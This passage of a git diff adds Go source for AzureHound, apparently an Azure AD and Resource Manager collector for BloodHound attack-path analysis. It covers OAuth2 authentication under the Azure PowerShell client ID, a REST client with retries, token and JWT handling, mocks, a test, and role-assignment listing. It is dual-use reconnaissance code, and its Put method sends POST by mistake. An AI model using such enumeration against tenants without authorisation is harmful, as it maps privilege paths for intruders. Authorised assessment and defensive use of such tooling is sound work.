if s.Expand != "" { + params[Expand] = s.Expand + } + + if s.Filter != "" { + params[Filter] = s.Filter + } + + if s.IncludeAllTenantCategories { + params[IncludeAllTenantCategories] = "true" + } + + if s.Recurse { + params[Recurse] = "true" + } + + if s.SkipToken != "" { + params[SkipToken] = s.SkipToken + } + + if s.StatusOnly { + params[StatusOnly] = "true" + } + + if s.TenantId != "" { + params[TenantId] = s.TenantId + } + if s.Top > 0 { + params[Top] = strconv.FormatInt(int64(s.Top), 10) + } + + return params +} + +type GraphParams struct { + Count bool + Expand string + Format string + Filter string + OrderBy string + Search string + Select []string + Skip int + Top int32 + SkipToken string +} + +func (s GraphParams) NeedsEventualConsistencyHeaderFlag() bool { + return s.Count || s.Search != "" || s.OrderBy != "" || (s.Filter != "" && s.OrderBy != "") || strings.Contains(s.Filter, "endsWith") +} + +func (s GraphParams) AsMap() map[string]string { + params := make(map[string]string) + + if s.Count { + params[Count] = "true" + } + + if s.Expand != "" { + params[Expand] = s.Expand + } + + if s.Format != "" { + params[Format] = s.Format + } + + if s.Filter != "" { + params[Filter] = s.Filter + } + + if s.OrderBy != "" { + params[OrderBy] = s.OrderBy + } + + if s.Search != "" { + params[Search] = s.Search + } + + if len(s.Select) > 0 { + params[Select] = strings.Join(s.Select, ",") + } + + if s.Skip > 0 { + params[Skip] = strconv.Itoa(s.Skip) + } + + if s.SkipToken != "" { + params[SkipToken] = s.SkipToken + } + + if s.Top > 0 { + params[Top] = strconv.FormatInt(int64(s.Top), 10) + } + + return params +} diff --git a/client/resource_groups.go b/client/resource_groups.go new file mode 100644 index 0000000..cff4182 --- /dev/null +++ b/client/resource_groups.go @@ -0,0 +1,42 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureResourceGroups https://learn.microsoft.com/en-us/rest/api/resources/resource-groups/list?view=rest-resources-2021-04-01 +func (s *azureClient) ListAzureResourceGroups(ctx context.Context, subscriptionId string, params query.RMParams) <-chan AzureResult[azure.ResourceGroup] { + var ( + out = make(chan AzureResult[azure.ResourceGroup]) + path = fmt.Sprintf("/subscriptions/%s/resourcegroups", subscriptionId) + ) + + if params.ApiVersion == "" { + params.ApiVersion = "2021-04-01" + } + + go getAzureObjectList[azure.ResourceGroup](s.resourceManager, ctx, path, params, out) + + return out +} diff --git a/client/rest/client.go b/client/rest/client.go new file mode 100644 index 0000000..a403190 --- /dev/null +++ b/client/rest/client.go @@ -0,0 +1,313 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package rest + +//go:generate go run go.uber.org/mock/mockgen -destination=./mocks/client.go -package=mocks . RestClient + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "net/url" + "strconv" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client/config" + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/constants" +) + +type RestClient interface { + Authenticate() error + Delete(ctx context.Context, path string, body interface{}, params query.Params, headers map[string]string) (*http.Response, error) + Get(ctx context.Context, path string, params query.Params, headers map[string]string) (*http.Response, error) + Patch(ctx context.Context, path string, body interface{}, params query.Params, headers map[string]string) (*http.Response, error) + Post(ctx context.Context, path string, body interface{}, params query.Params, headers map[string]string) (*http.Response, error) + Put(ctx context.Context, path string, body interface{}, params query.Params, headers map[string]string) (*http.Response, error) + Send(req *http.Request) (*http.Response, error) + CloseIdleConnections() +} + +func NewRestClient(apiUrl string, config config.Config) (RestClient, error) { + if auth, err := url.Parse(config.AuthorityUrl()); err != nil { + return nil, err + } else if api, err := url.Parse(apiUrl); err != nil { + return nil, err + } else if http, err := NewHTTPClient(config.ProxyUrl); err != nil { + return nil, err + } else { + client := &restClient{ + *api, + *auth, + config.JWT, + config.ApplicationId, + config.ClientSecret, + config.ClientCert, + config.ClientKey, + config.ClientKeyPass, + config.Username, + config.Password, + http, + sync.RWMutex{}, + config.RefreshToken, + config.Tenant, + Token{}, + config.SubscriptionId, + config.MgmtGroupId, + } + return client, nil + } +} + +type restClient struct { + api url.URL + authUrl url.URL + jwt string + clientId string + clientSecret string + clientCert string + clientKey string + clientKeyPass string + username string + password string + http *http.Client + mutex sync.RWMutex + refreshToken string + tenant string + token Token + subId []string + mgmtGroupId []string +} + +func (s *restClient) Authenticate() error { + var ( + path = url.URL{Path: fmt.Sprintf("/%s/oauth2/v2.0/token", s.tenant)} + endpoint = s.authUrl.ResolveReference(&path) + defaultScope = url.URL{Path: "/.default"} + scope = s.api.ResolveReference(&defaultScope) + body = url.Values{} + ) + + if s.clientId == "" { + body.Add("client_id", constants.AzPowerShellClientID) + } else { + body.Add("client_id", s.clientId) + } + + body.Add("scope", scope.ResolveReference(&defaultScope).String()) + + if s.refreshToken != "" { + body.Add("grant_type", "refresh_token") + body.Add("refresh_token", s.refreshToken) + body.Set("client_id", constants.AzPowerShellClientID) + } else if s.clientSecret != "" { + body.Add("grant_type", "client_credentials") + body.Add("client_secret", s.clientSecret) + } else if s.clientCert != "" && s.clientKey != "" { + if clientAssertion, err := NewClientAssertion(endpoint.String(), s.clientId, s.clientCert, s.clientKey, s.clientKeyPass); err != nil { + return err + } else { + body.Add("grant_type", "client_credentials") + body.Add("client_assertion_type", "urn:ietf:params:oauth:client-assertion-type:jwt-bearer") + body.Add("client_assertion", clientAssertion) + } + } else if s.username != "" && s.password != "" { + body.Add("grant_type", "password") + body.Add("username", s.username) + body.Add("password", s.password) + body.Set("client_id", constants.AzPowerShellClientID) + } else { + return fmt.Errorf("unable to authenticate. no valid credential provided") + } + + if req, err := NewRequest(context.Background(), "POST", endpoint, body, nil, nil); err != nil { + return err + } else if res, err := s.send(req); err != nil { + return err + } else { + defer res.Body.Close() + s.mutex.Lock() + defer s.mutex.Unlock() + if err := json.NewDecoder(res.Body).Decode(&s.token); err != nil { + return err + } else { + return nil + } + } +} + +func (s *restClient) Delete(ctx context.Context, path string, body interface{}, params query.Params, headers map[string]string) (*http.Response, error) { + endpoint := s.api.ResolveReference(&url.URL{Path: path}) + paramsMap := make(map[string]string) + if params != nil { + paramsMap = params.AsMap() + } + if req, err := NewRequest(ctx, http.MethodDelete, endpoint, body, paramsMap, headers); err != nil { + return nil, err + } else { + return s.Send(req) + } +} + +func (s *restClient) Get(ctx context.Context, path string, params query.Params, headers map[string]string) (*http.Response, error) { + endpoint := s.api.ResolveReference(&url.URL{Path: path}) + paramsMap := make(map[string]string) + + if params != nil { + paramsMap = params.AsMap() + if params.NeedsEventualConsistencyHeaderFlag() { + if headers == nil { + headers = make(map[string]string) + } + headers["ConsistencyLevel"] = "eventual" + } + } + + if req, err := NewRequest(ctx, http.MethodGet, endpoint, nil, paramsMap, headers); err != nil { + return nil, err + } else { + return s.Send(req) + } +} + +func (s *restClient) Patch(ctx context.Context, path string, body interface{}, params query.Params, headers map[string]string) (*http.Response, error) { + endpoint := s.api.ResolveReference(&url.URL{Path: path}) + paramsMap := make(map[string]string) + if params != nil { + paramsMap = params.AsMap() + } + if req, err := NewRequest(ctx, http.MethodPatch, endpoint, body, paramsMap, headers); err != nil { + return nil, err + } else { + return s.Send(req) + } +} + +func (s *restClient) Post(ctx context.Context, path string, body interface{}, params query.Params, headers map[string]string) (*http.Response, error) { + endpoint := s.api.ResolveReference(&url.URL{Path: path}) + paramsMap := make(map[string]string) + if params != nil { + paramsMap = params.AsMap() + } + if req, err := NewRequest(ctx, http.MethodPost, endpoint, body, paramsMap, headers); err != nil { + return nil, err + } else { + return s.Send(req) + } +} + +func (s *restClient) Put(ctx context.Context, path string, body interface{}, params query.Params, headers map[string]string) (*http.Response, error) { + endpoint := s.api.ResolveReference(&url.URL{Path: path}) + paramsMap := make(map[string]string) + if params != nil { + paramsMap = params.AsMap() + } + if req, err := NewRequest(ctx, http.MethodPost, endpoint, body, paramsMap, headers); err != nil { + return nil, err + } else { + return s.Send(req) + } +} + +func (s *restClient) Send(req *http.Request) (*http.Response, error) { + if s.jwt != "" { + if aud, err := ParseAud(s.jwt); err != nil { + return nil, err + } else if aud != s.api.String() { + return nil, fmt.Errorf("invalid audience") + } + req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", s.jwt)) + } else { + if s.token.IsExpired() { + if err := s.Authenticate(); err != nil { + return nil, err + } + } + req.Header.Set("Authorization", s.token.String()) + } + return s.send(req) +} + +func (s *restClient) send(req *http.Request) (*http.Response, error) { + // copy the bytes in case we need to retry the request + if body, err := CopyBody(req); err != nil { + return nil, err + } else { + var ( + res *http.Response + err error + maxRetries = 3 + ) + // Try the request up to a set number of times + for retry := 0; retry < maxRetries; retry++ { + + // Reusing http.Request requires rewinding the request body + // back to a working state + if body != nil && retry > 0 { + req.Body = io.NopCloser(bytes.NewBuffer(body)) + } + + // Try the request + if res, err = s.http.Do(req); err != nil { + if IsClosedConnectionErr(err) { + fmt.Printf("remote host force closed connection while requesting %s; attempt %d/%d; trying again\n", req.URL, retry+1, maxRetries) + ExponentialBackoff(retry) + continue + } + return nil, err + } else if res.StatusCode < http.StatusOK || res.StatusCode >= http.StatusBadRequest { + // Error response code handling + // See official Retry guidance (https://learn.microsoft.com/en-us/azure/architecture/best-practices/retry-service-specific#retry-usage-guidance) + if res.StatusCode == http.StatusTooManyRequests { + retryAfterHeader := res.Header.Get("Retry-After") + if retryAfter, err := strconv.ParseInt(retryAfterHeader, 10, 64); err != nil { + return nil, fmt.Errorf("attempting to handle 429 but unable to parse retry-after header: %w", err) + } else { + // Wait the time indicated in the retry-after header + time.Sleep(time.Second * time.Duration(retryAfter)) + continue + } + } else if res.StatusCode >= http.StatusInternalServerError { + // Wait the time calculated by the 5 second exponential backoff + ExponentialBackoff(retry) + continue + } else { + // Not a status code that warrants a retry + var errRes map[string]interface{} + if err := Decode(res.Body, &errRes); err != nil { + return nil, fmt.Errorf("malformed error response, status code: %d", res.StatusCode) + } else { + return nil, fmt.Errorf("%v", errRes) + } + } + } else { + // Response OK + return res, nil + } + } + return nil, fmt.Errorf("unable to complete the request after %d attempts: %w", maxRetries, err) + } +} + +func (s *restClient) CloseIdleConnections() { + s.http.CloseIdleConnections() +} diff --git a/client/rest/client_test.go b/client/rest/client_test.go new file mode 100644 index 0000000..4be3273 --- /dev/null +++ b/client/rest/client_test.go @@ -0,0 +1,69 @@ +// Copyright (C) 2024 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package rest + +import ( + "net/http" + "net/http/httptest" + + "testing" + + "github.com/bloodhoundad/azurehound/v2/client/config" +) + +func TestClosedConnection(t *testing.T) { + var testServer *httptest.Server + attempt := 0 + var mockHandler http.HandlerFunc = func(w http.ResponseWriter, r *http.Request) { + attempt++ + testServer.CloseClientConnections() + } + + testServer = httptest.NewServer(mockHandler) + defer testServer.Close() + + defaultConfig := config.Config{ + Username: "azurehound", + Password: "we_collect", + Authority: testServer.URL, + } + + if client, err := NewRestClient(testServer.URL, defaultConfig); err != nil { + t.Fatalf("error initializing rest client %v", err) + } else { + requestCompleted := false + + // make request in separate goroutine so its not blocking after we validated the retry + go func() { + client.Authenticate() // Authenticate() because it uses the internal client.send method. + // CloseClientConnections should block the request from completing, however if it completes then the test fails. + requestCompleted = true + }() + + // block until attempt is > 2 or request succeeds + for attempt <= 2 { + if attempt > 1 || requestCompleted { + break + } + } + + if requestCompleted { + t.Fatalf("expected an attempted retry but the request completed") + } + } +} diff --git a/client/rest/http.go b/client/rest/http.go new file mode 100644 index 0000000..cc729fe --- /dev/null +++ b/client/rest/http.go @@ -0,0 +1,135 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package rest + +import ( + "bytes" + "context" + "crypto/tls" + "encoding/json" + "io" + "net/http" + "net/http/cookiejar" + "net/url" + "strings" + "time" + + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/constants" +) + +func NewHTTPClient(proxyUrl string) (*http.Client, error) { + transport := http.DefaultTransport.(*http.Transport).Clone() + transport.MaxConnsPerHost = config.ColMaxConnsPerHost.Value().(int) + transport.MaxIdleConnsPerHost = config.ColMaxIdleConnsPerHost.Value().(int) + transport.DisableKeepAlives = false + + // defaults to TLS 1.0 which is not favorable + transport.TLSClientConfig = &tls.Config{ + MinVersion: tls.VersionTLS12, + } + + // increasing timeout because tls handshakes can take longer when doing a lot of concurrent calls + transport.TLSHandshakeTimeout = 20 * time.Second + + // increasing response header timeout to accout for WAF throttling rules + transport.ResponseHeaderTimeout = 5 * time.Minute + + // ignoring err; always nil + jar, _ := cookiejar.New(nil) + + // setup forward proxy + if proxyUrl != "" { + if url, err := url.Parse(proxyUrl); err != nil { + return nil, err + } else { + transport.Proxy = http.ProxyURL(url) + } + } + + return &http.Client{ + Jar: jar, + Transport: transport, + }, nil +} + +func NewRequest( + ctx context.Context, + verb string, + endpoint *url.URL, + body interface{}, + params map[string]string, + headers map[string]string, +) (*http.Request, error) { + // set query params + if params != nil { + q := endpoint.Query() + for key, value := range params { + q.Set(key, value) + } + endpoint.RawQuery = q.Encode() + } + + // set body + var ( + reader io.Reader + buffer = &bytes.Buffer{} + ) + if body != nil { + switch body := body.(type) { + case url.Values: + reader = strings.NewReader(body.Encode()) + default: + data := new(bytes.Buffer) + if err := json.NewEncoder(data).Encode(body); err != nil { + return nil, err + } else { + reader = data + } + } + buffer.ReadFrom(reader) + } + + if req, err := http.NewRequestWithContext(ctx, verb, endpoint.String(), buffer); err != nil { + return nil, err + } else { + // set headers + for key, value := range headers { + req.Header.Set(key, value) + } + + // set content-type + if body != nil { + switch body.(type) { + case url.Values: + req.Header.Set("Content-Type", "application/x-www-form-urlencoded") + default: + req.Header.Set("Content-Type", "application/json") + } + } + + // set default accept type + if req.Header.Get("Accept") == "" { + req.Header.Set("Accept", "application/json") + } + + // set azurehound as user-agent + req.Header.Set("User-Agent", constants.UserAgent()) + return req, nil + } +} diff --git a/client/rest/mocks/client.go b/client/rest/mocks/client.go new file mode 100644 index 0000000..6c2f7ae --- /dev/null +++ b/client/rest/mocks/client.go @@ -0,0 +1,153 @@ +// Code generated by MockGen. DO NOT EDIT. +// Source: github.com/bloodhoundad/azurehound/v2/client/rest (interfaces: RestClient) + +// Package mocks is a generated GoMock package. +package mocks + +import ( + context "context" + http "net/http" + reflect "reflect" + + query "github.com/bloodhoundad/azurehound/v2/client/query" + gomock "go.uber.org/mock/gomock" +) + +// MockRestClient is a mock of RestClient interface. +type MockRestClient struct { + ctrl *gomock.Controller + recorder *MockRestClientMockRecorder +} + +// MockRestClientMockRecorder is the mock recorder for MockRestClient. +type MockRestClientMockRecorder struct { + mock *MockRestClient +} + +// NewMockRestClient creates a new mock instance. +func NewMockRestClient(ctrl *gomock.Controller) *MockRestClient { + mock := &MockRestClient{ctrl: ctrl} + mock.recorder = &MockRestClientMockRecorder{mock} + return mock +} + +// EXPECT returns an object that allows the caller to indicate expected use. +func (m *MockRestClient) EXPECT() *MockRestClientMockRecorder { + return m.recorder +} + +// Authenticate mocks base method. +func (m *MockRestClient) Authenticate() error { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "Authenticate") + ret0, _ := ret[0].(error) + return ret0 +} + +// Authenticate indicates an expected call of Authenticate. +func (mr *MockRestClientMockRecorder) Authenticate() *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Authenticate", reflect.TypeOf((*MockRestClient)(nil).Authenticate)) +} + +// CloseIdleConnections mocks base method. +func (m *MockRestClient) CloseIdleConnections() { + m.ctrl.T.Helper() + m.ctrl.Call(m, "CloseIdleConnections") +} + +// CloseIdleConnections indicates an expected call of CloseIdleConnections. +func (mr *MockRestClientMockRecorder) CloseIdleConnections() *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "CloseIdleConnections", reflect.TypeOf((*MockRestClient)(nil).CloseIdleConnections)) +} + +// Delete mocks base method. +func (m *MockRestClient) Delete(arg0 context.Context, arg1 string, arg2 interface{}, arg3 query.Params, arg4 map[string]string) (*http.Response, error) { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "Delete", arg0, arg1, arg2, arg3, arg4) + ret0, _ := ret[0].(*http.Response) + ret1, _ := ret[1].(error) + return ret0, ret1 +} + +// Delete indicates an expected call of Delete. +func (mr *MockRestClientMockRecorder) Delete(arg0, arg1, arg2, arg3, arg4 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Delete", reflect.TypeOf((*MockRestClient)(nil).Delete), arg0, arg1, arg2, arg3, arg4) +} + +// Get mocks base method. +func (m *MockRestClient) Get(arg0 context.Context, arg1 string, arg2 query.Params, arg3 map[string]string) (*http.Response, error) { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "Get", arg0, arg1, arg2, arg3) + ret0, _ := ret[0].(*http.Response) + ret1, _ := ret[1].(error) + return ret0, ret1 +} + +// Get indicates an expected call of Get. +func (mr *MockRestClientMockRecorder) Get(arg0, arg1, arg2, arg3 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Get", reflect.TypeOf((*MockRestClient)(nil).Get), arg0, arg1, arg2, arg3) +} + +// Patch mocks base method. +func (m *MockRestClient) Patch(arg0 context.Context, arg1 string, arg2 interface{}, arg3 query.Params, arg4 map[string]string) (*http.Response, error) { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "Patch", arg0, arg1, arg2, arg3, arg4) + ret0, _ := ret[0].(*http.Response) + ret1, _ := ret[1].(error) + return ret0, ret1 +} + +// Patch indicates an expected call of Patch. +func (mr *MockRestClientMockRecorder) Patch(arg0, arg1, arg2, arg3, arg4 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Patch", reflect.TypeOf((*MockRestClient)(nil).Patch), arg0, arg1, arg2, arg3, arg4) +} + +// Post mocks base method. +func (m *MockRestClient) Post(arg0 context.Context, arg1 string, arg2 interface{}, arg3 query.Params, arg4 map[string]string) (*http.Response, error) { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "Post", arg0, arg1, arg2, arg3, arg4) + ret0, _ := ret[0].(*http.Response) + ret1, _ := ret[1].(error) + return ret0, ret1 +} + +// Post indicates an expected call of Post. +func (mr *MockRestClientMockRecorder) Post(arg0, arg1, arg2, arg3, arg4 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Post", reflect.TypeOf((*MockRestClient)(nil).Post), arg0, arg1, arg2, arg3, arg4) +} + +// Put mocks base method. +func (m *MockRestClient) Put(arg0 context.Context, arg1 string, arg2 interface{}, arg3 query.Params, arg4 map[string]string) (*http.Response, error) { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "Put", arg0, arg1, arg2, arg3, arg4) + ret0, _ := ret[0].(*http.Response) + ret1, _ := ret[1].(error) + return ret0, ret1 +} + +// Put indicates an expected call of Put. +func (mr *MockRestClientMockRecorder) Put(arg0, arg1, arg2, arg3, arg4 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Put", reflect.TypeOf((*MockRestClient)(nil).Put), arg0, arg1, arg2, arg3, arg4) +} + +// Send mocks base method. +func (m *MockRestClient) Send(arg0 *http.Request) (*http.Response, error) { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "Send", arg0) + ret0, _ := ret[0].(*http.Response) + ret1, _ := ret[1].(error) + return ret0, ret1 +} + +// Send indicates an expected call of Send. +func (mr *MockRestClientMockRecorder) Send(arg0 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Send", reflect.TypeOf((*MockRestClient)(nil).Send), arg0) +} diff --git a/client/rest/token.go b/client/rest/token.go new file mode 100644 index 0000000..16e9257 --- /dev/null +++ b/client/rest/token.go @@ -0,0 +1,58 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package rest + +import ( + "encoding/json" + "fmt" + "time" +) + +type Token struct { + accessToken string + expiresIn int + extExpiresIn int + expires time.Time +} + +func (s Token) IsExpired() bool { + return time.Now().After(s.expires.Add(-10 * time.Second)) +} + +func (s Token) String() string { + return fmt.Sprintf("Bearer %s", s.accessToken) +} + +func (s *Token) UnmarshalJSON(data []byte) error { + var res struct { + AccessToken string `json:"access_token"` // The token to use in calls to Microsoft Graph API + ExpiresIn int `json:"expires_in"` // How long the access token is valid in seconds + ExtExpiresIn int `json:"ext_expires_in"` // How long the access token is valid in seconds + TokenType string `json:"token_type"` // Indicates the token type value. The only type currently supported by Azure AD is `bearer` + } + + if err := json.Unmarshal(data, &res); err != nil { + return err + } else { + s.accessToken = res.AccessToken + s.expiresIn = res.ExpiresIn + s.extExpiresIn = res.ExtExpiresIn + s.expires = time.Now().Add(time.Duration(res.ExpiresIn) * time.Second) + return nil + } +} diff --git a/client/rest/utils.go b/client/rest/utils.go new file mode 100644 index 0000000..ed3b85e --- /dev/null +++ b/client/rest/utils.go @@ -0,0 +1,152 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package rest + +import ( + "bytes" + "crypto/sha1" + "crypto/x509" + "encoding/base64" + "encoding/json" + "encoding/pem" + "fmt" + "io" + "math" + "net/http" + "strings" + "time" + + "github.com/gofrs/uuid" + "github.com/golang-jwt/jwt" + "github.com/youmark/pkcs8" +) + +func Decode(body io.ReadCloser, v interface{}) error { + defer body.Close() + defer io.ReadAll(body) // must read all; streaming to the json decoder does not read to EOF making the connection unavailable for reuse + return json.NewDecoder(body).Decode(v) +} + +func NewClientAssertion(tokenUrl string, clientId string, clientCert string, signingKey string, keyPassphrase string) (string, error) { + if key, err := parseRSAPrivateKey(signingKey, keyPassphrase); err != nil { + return "", fmt.Errorf("Unable to parse private key: %w", err) + } else if jti, err := uuid.NewV4(); err != nil { + return "", fmt.Errorf("Unable to generate JWT ID: %w", err) + } else if thumbprint, err := x5t(clientCert); err != nil { + return "", fmt.Errorf("Unable to create X.509 certificate thumbprint: %w", err) + } else { + iat := time.Now() + exp := iat.Add(1 * time.Minute) + token := jwt.NewWithClaims(jwt.SigningMethodRS256, jwt.StandardClaims{ + Audience: tokenUrl, + ExpiresAt: exp.Unix(), + Issuer: clientId, + Id: jti.String(), + NotBefore: iat.Unix(), + Subject: clientId, + IssuedAt: iat.Unix(), + }) + + token.Header = map[string]interface{}{ + "alg": "RS256", + "typ": "JWT", + "x5t": thumbprint, + } + + if signedToken, err := token.SignedString(key); err != nil { + return "", fmt.Errorf("Unable to sign JWT: %w", err) + } else { + return signedToken, nil + } + } +} + +func ParseBody(accessToken string) (map[string]interface{}, error) { + var ( + body = make(map[string]interface{}) + parts = strings.Split(accessToken, ".") + ) + + if len(parts) != 3 { + return body, fmt.Errorf("invalid access token") + } else if bytes, err := base64.RawStdEncoding.DecodeString(parts[1]); err != nil { + return body, err + } else if err := json.Unmarshal(bytes, &body); err != nil { + return body, err + } else { + return body, nil + } +} + +func ParseAud(accessToken string) (string, error) { + if body, err := ParseBody(accessToken); err != nil { + return "", err + } else if aud, ok := body["aud"].(string); !ok { + return "", fmt.Errorf("invalid 'aud' type: %T", body["aud"]) + } else { + return strings.TrimSuffix(aud, "/"), nil + } +} + +func parseRSAPrivateKey(signingKey string, password string) (interface{}, error) { + if decodedBlock, _ := pem.Decode([]byte(signingKey)); decodedBlock == nil { + return nil, fmt.Errorf("Unable to decode private key") + } else if key, _, err := pkcs8.ParsePrivateKey(decodedBlock.Bytes, []byte(password)); err != nil { + return nil, err + } else { + return key, nil + } +} + +func x5t(certificate string) (string, error) { + if decoded, _ := pem.Decode([]byte(certificate)); decoded == nil { + return "", fmt.Errorf("Unable to decode certificate") + } else if cert, err := x509.ParseCertificate(decoded.Bytes); err != nil { + return "", fmt.Errorf("Unable to parse certificate: %w", err) + } else { + checksum := sha1.Sum(cert.Raw) + return base64.StdEncoding.EncodeToString(checksum[:]), nil + } +} + +func IsClosedConnectionErr(err error) bool { + var closedConnectionMsg = "An existing connection was forcibly closed by the remote host." + closedFromClient := strings.Contains(err.Error(), closedConnectionMsg) + // Mocking http.Do would require a larger refactor, so closedFromTestCase is used to cover testing only. + closedFromTestCase := strings.HasSuffix(err.Error(), ": EOF") + return closedFromClient || closedFromTestCase +} + +func ExponentialBackoff(retry int) { + backoff := math.Pow(5, float64(retry+1)) + time.Sleep(time.Second * time.Duration(backoff)) +} + +func CopyBody(req *http.Request) ([]byte, error) { + var ( + body []byte + err error + ) + if req.Body != nil { + body, err = io.ReadAll(req.Body) + if body != nil { + req.Body = io.NopCloser(bytes.NewBuffer(body)) + } + } + return body, err +} diff --git a/client/role_assignments.go b/client/role_assignments.go new file mode 100644 index 0000000..f742f54 --- /dev/null +++ b/client/role_assignments.go @@ -0,0 +1,55 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureADRoleAssignments https://learn.microsoft.com/en-us/graph/api/rbacapplication-list-roleassignments?view=graph-rest-beta +func (s *azureClient) ListAzureADRoleAssignments(ctx context.Context, params query.GraphParams) <-chan AzureResult[azure.UnifiedRoleAssignment] { + var ( + out = make(chan AzureResult[azure.UnifiedRoleAssignment]) + path = fmt.Sprintf("/%s/roleManagement/directory/roleAssignments", constants.GraphApiVersion) + ) + + if params.Top == 0 { + params.Top = 999 + } + + go getAzureObjectList[azure.UnifiedRoleAssignment](s.msgraph, ctx, path, params, out) + return out +} + +// ListRoleAssignmentsForResource https://learn.microsoft.com/en-us/rest/api/authorization/role-assignments/list-for-resource?view=rest-authorization-2015-07-01 +func (s *azureClient) ListRoleAssignmentsForResource(ctx context.Context, resourceId string, filter, tenantId string) <-chan AzureResult[azure.RoleAssignment] { + var ( + out = make(chan AzureResult[azure.RoleAssignment]) + path = fmt.Sprintf("%s/providers/Microsoft.Authorization/roleAssignments", resourceId) + params = query.RMParams{ApiVersion: "2015-07-01", Filter: filter, TenantId: tenantId} + ) + + go getAzureObjectList[azure.RoleAssignment](s.resourceManager, ctx, path, params, out) + + return out +} diff --git a/client/roles.go b/client/roles.go new file mode 100644 index 0000000..6299ef2 --- /dev/null +++ b/client/roles.go @@ -0,0 +1,39 @@ +// Copyright (C) 2022 